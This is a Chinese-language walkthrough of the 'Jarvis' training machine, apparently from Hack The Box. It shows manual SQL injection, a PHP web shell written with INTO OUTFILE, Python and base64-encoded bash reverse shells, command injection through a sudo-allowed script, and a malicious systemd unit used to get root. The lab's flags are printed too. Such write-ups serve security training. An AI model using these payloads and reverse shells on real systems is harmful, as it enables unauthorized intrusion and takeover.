[Meachines] [Medium] jarvis 手工SQLI+python脚本命令执行过滤绕过+TRP00F自动化权限提升+Systemctl 权限提升

信息收集

IP Address	Opening Ports
10.10.10.143	TCP:22，80，64999

$ nmap -p- 10.10.10.143 --min-rate 1000 -sC -sV

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_  256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
80/tcp    open  http    Apache httpd 2.4.25 ((Debian))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Stark Hotel
|_http-server-header: Apache/2.4.25 (Debian)
64999/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.25 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

SQLI & Web Reverse Shell

http://10.10.10.143

http://10.10.10.143/room.php?cod=1

不幸的是，如果你尝试使用sqlmap自动注入则会被封禁IP

字段数量为7个

$ curl -s 'http://10.10.10.143/room.php?cod=1%20order%20by%207--+' | wc -c

http://10.10.10.143/room.php?cod=-1%20union%20select%201,2,3,4,5,6,7--+

http://10.10.10.143/room.php?cod=-1%20union%20select%201,GROUP_CONCAT(DISTINCT%20%20table_name),3,4,5,6,7%20FROM%20information_schema.columns--+

Table
room
ALL_PLUGINS
APPLICABLE_ROLES
CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
ENABLED_ROLES
ENGINES
EVENTS
FILES
GLOBAL_STATUS
GLOBAL_VARIABLES
KEY_CACHES
KEY_COLUMN_USAGE
PARAMETERS
PARTITIONS
PLUGINS
PROCESSLIST
PROFILING
REFERENTIAL_CONSTRAINTS
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
SESSION_STATUS
SESSION_VARIABLES
STATISTICS
SYSTEM_VARIABLES
TABLES
TABLESPACES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
GEOMETRY_COLUMNS
SPATIAL_REF_SYS
CLIENT_STATISTICS
INDEX_STATISTICS
INNODB_SYS_DATAFILES
TABLE_STATISTICS
INNODB_SYS_TABLESTATS
USER_STATISTICS
INNODB_SYS_INDEXES
XTRADB_RSEG
INNODB_CMP_PER_INDEX
INNODB_TRX
CHANGED_PAGE_BITMAPS
INNODB_FT_BEING_DELETED
INNODB_LOCK_WAITS
INNODB_LOCKS
INNODB_TABLESPACES_ENCRYPTION
XTRADB_INTERNAL_HASH_TABLES
INNODB_SYS_FIELDS
INNODB_CMPMEM_RESET
INNODB_CMP
INNODB_FT_INDEX_TABLE
INNODB_SYS_TABLESPACES
INNODB_MUTEXES
INNODB_BUFFER_PAGE_LRU
INNODB_SYS_FOREIGN_COLS
INNODB_CMP_RESET
INNODB_BUFFER_POOL_STATS
INNODB_FT

http://10.10.10.143/room.php?cod=-1%20union%20select%201,LOAD_FILE(%27/etc/passwd%27),3,4,5,6,7--+

得知www-data的工作目录在/var/www/

http://10.10.10.143/room.php?cod=-1%20union%20select%201,%27%3C?php%20system($_GET[1]);phpinfo();?%3E%27,3,4,5,6,7%20INTO%20OUTFILE%20%27/var/www/html/reverse.php%27--+

$ curl 'http://10.10.10.143/reverse.php?1=python3+-c+%27import+socket%2csubprocess%2cos%3bs%3dsocket.socket(socket.AF_INET%2csocket.SOCK_STREAM)%3bs.connect((%2210.10.16.24%22%2c10034))%3bos.dup2(s.fileno()%2c0)%3b+os.dup2(s.fileno()%2c1)%3bos.dup2(s.fileno()%2c2)%3bimport+pty%3b+pty.spawn(%22%2fbin%2fbash%22)%27'

www-data to pepper

$ sudo -l

我们可以使用pepper用户身份执行simpler.py文件

$ echo '$(cat /etc/passwd)' |sudo -u pepper /var/www/Admin-Utilities/simpler.py -p

$ echo 'L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYvZGV2L3RjcC8xMC4xMC4xNi4yNC8xMDAzNSAwPiYxIgo='|base64 -d >/tmp/rev.sh;chmod +x /tmp/rev.sh

$ echo '$(/tmp/rev.sh)' |sudo -u pepper /var/www/Admin-Utilities/simpler.py -p

User.txt

2354b15a6cb7ae36bfd2cb72f7b69b0d

权限提升

TRP00F自动化权限提升

Systemctl 权限提升

pwn.service

[Service]
Type=oneshot
ExecStart=/bin/bash -c '/bin/bash -i >&/dev/tcp/{re_ip}/{re_port} 0>&1'
[Install]
WantedBy=multi-user.target

$ systemctl link /tmp/pwn.service

$ systemctl start pwn.service

Root.txt

9d8eb89d70c481256f008375359affec